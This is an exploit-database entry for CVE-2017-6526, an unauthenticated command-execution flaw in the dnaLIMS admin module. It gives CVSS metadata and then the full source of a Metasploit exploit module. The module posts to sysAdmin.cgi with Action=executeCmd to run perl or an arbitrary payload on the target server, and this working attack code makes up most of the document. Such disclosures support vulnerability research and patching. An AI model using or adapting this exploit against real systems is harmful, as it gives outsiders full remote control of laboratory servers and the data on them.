dnaLIMS Admin Module Command Execution

2017.03.21
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'dnaLIMS Admin Module Command Execution', 'Description' => %q{ This module utilizes an administrative module which allows for command execution. This page is completely unprotected from any authentication when given a POST request. }, 'Author' => [ 'h00die <mike@shorebreaksecurity.com>', # Discovery, PoC 'flakey_biscuit <nicholas@shorebreaksecurity.com>' # Discovery, PoC ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-6526'], ['US-CERT-VU', '929263'], ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/'] ], 'Platform' => %w( linux unix ), 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'RequiredCmd' => 'perl' # software written in perl, and guaranteed to be there } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 8 2017' )) register_options( [ OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']) ], self.class ) end def check begin res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), 'method' => 'POST', 'vars_post' => { 'investigator' => '', 'username' => '', 'navUserName' => '', 'Action' => 'executeCmd', 'executeCmdData' => 'perl -V' } ) if res && res.body if /Summary of/ =~ res.body Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end else Exploit::CheckCode::Safe end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end def exploit begin vprint_status('Sending Exploit') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'sysAdmin.cgi'), 'method' => 'POST', 'vars_post' => { 'investigator' => '', 'username' => '', 'navUserName' => '', 'Action' => 'executeCmd', 'executeCmdData' => payload.encoded, } ) vprint_good(res.body) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end end

References:

https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/


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